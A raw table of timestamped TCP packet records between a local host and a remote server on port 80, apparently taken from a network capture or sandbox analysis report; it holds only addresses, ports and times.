Aug 31, 2022 14:28:20.054521084 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.054523945 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.054531097 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054533958 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.054559946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054582119 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054604053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054621935 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.054626942 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054631948 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.054649115 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.054680109 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.056294918 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.056341887 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.056363106 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.056384087 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.056406975 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.056437969 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.056473017 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.057049036 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.057073116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.057090998 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.057178974 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.057965040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.057991982 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.058012962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.058059931 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.058093071 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.059241056 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.059273958 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.059380054 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.059854984 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.059881926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.059968948 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.061073065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.061105013 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.061178923 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.062057018 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.063178062 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.063285112 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.063327074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.063374043 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.063435078 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.064172983 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.064286947 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.064356089 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.064939976 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.064971924 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.065033913 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.066123009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.066158056 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.066234112 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.066885948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.066916943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.066945076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.066989899 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.068219900 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.068253994 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.068283081 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.068305969 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.068311930 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.068350077 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.068967104 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.069046021 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.069958925 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.069994926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.070059061 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.071114063 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.071154118 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.071243048 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.071820974 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.072061062 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.072086096 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.072149038 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.073266029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.073297977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.073343039 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.073405027 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.074189901 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.074219942 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.074243069 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.074245930 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.074325085 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.200237036 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.200267076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.200283051 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.200416088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.200452089 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.200933933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.200952053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.201052904 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.201343060 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202025890 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202043056 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202059984 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202116013 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.202137947 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.202855110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202872038 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202888012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202899933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.202985048 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.204229116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.204261065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.204282999 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.204303026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.204366922 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.204395056 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.205099106 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.205127001 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.205147028 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.205171108 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.205199957 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.205233097 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.205965996 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.205990076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.206084967 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.206233025 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.206254959 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.206276894 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.206326962 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.207120895 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.207170010 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.207199097 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.207207918 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.207250118 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.207250118 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.208133936 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.208178997 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.208194017 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.208219051 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.208259106 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.209414005 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.209462881 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.209511042 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.210105896 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.210151911 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.210206985 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.211234093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.211282969 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.211322069 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.211347103 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.212258101 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.212304115 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.212479115 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.213067055 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.213140965 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.213165045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.214329004 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.214376926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.214401007 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.215264082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.215306044 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.215338945 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.216228008 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.216283083 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.216285944 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.217216015 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.217258930 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.217286110 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.218094110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.218137026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.218167067 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.218951941 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.219014883 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.220077991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.220120907 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.220184088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.221071005 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.221116066 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.221179962 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.221982956 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.222023964 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.222076893 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.223697901 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.224133015 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.224174023 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.224273920 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.225117922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.225162029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.225188971 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.225199938 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.225239038 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.225241899 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.226196051 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.226241112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.226262093 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.226280928 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.226320028 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.226324081 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.226357937 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.226398945 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.227188110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.227232933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.227272034 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.227293015 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.227309942 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.227380037 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.228418112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.228460073 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.228533030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.230145931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.230207920 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.230254889 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.230273008 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.230294943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.230339050 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.230998039 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.231043100 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.231081009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.231116056 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.231120110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.231173992 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.232002020 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.232043982 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.232083082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.232111931 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.232130051 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.232180119 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.233007908 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.233062029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.233103991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.233138084 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.234365940 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.234416962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.234456062 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.234467983 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.234497070 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.234532118 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.234535933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.234585047 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.235069036 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.235112906 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.235153913 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.235182047 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.235193014 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.235249043 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.236377001 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.236423969 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.236460924 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.236494064 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.236500978 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.236551046 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.237159014 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.237200022 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.237240076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.237261057 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.237278938 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.237334967 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.238415003 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.238462925 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.238502026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.238539934 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.238544941 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.238647938 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.239093065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.239137888 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.239175081 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.239213943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.239217043 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.239268064 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.240010023 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.240053892 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.240092993 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.240107059 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.240132093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.240180016 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.241069078 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.241126060 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.241164923 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.241177082 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.352005005 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.352180004 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.360927105 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.360965014 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.361078024 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.361097097 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.361110926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.361169100 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.361989975 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.362021923 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.362104893 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.363204956 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.363240957 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.363323927 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.364227057 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.364259958 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.364336014 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.365328074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.365362883 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.365453005 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.366108894 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.366141081 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.366200924 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.367187977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.367228031 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.367279053 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.368218899 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.369240046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.369283915 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.369313955 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.370105982 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.370148897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.370177031 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.370995998 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.371038914 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.371071100 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.371988058 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.372035027 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.372082949 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.373307943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.373370886 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.373379946 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.374188900 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.374229908 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.374243021 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.374269009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.374309063 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.375226021 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.376219034 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.376262903 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.376286030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.376303911 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.376348972 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.377083063 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.378158092 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.378202915 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.378225088 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.378243923 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.378284931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.378288031 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.379190922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.379237890 CEST	80	49721	37.34.248.24	192.168.2.4
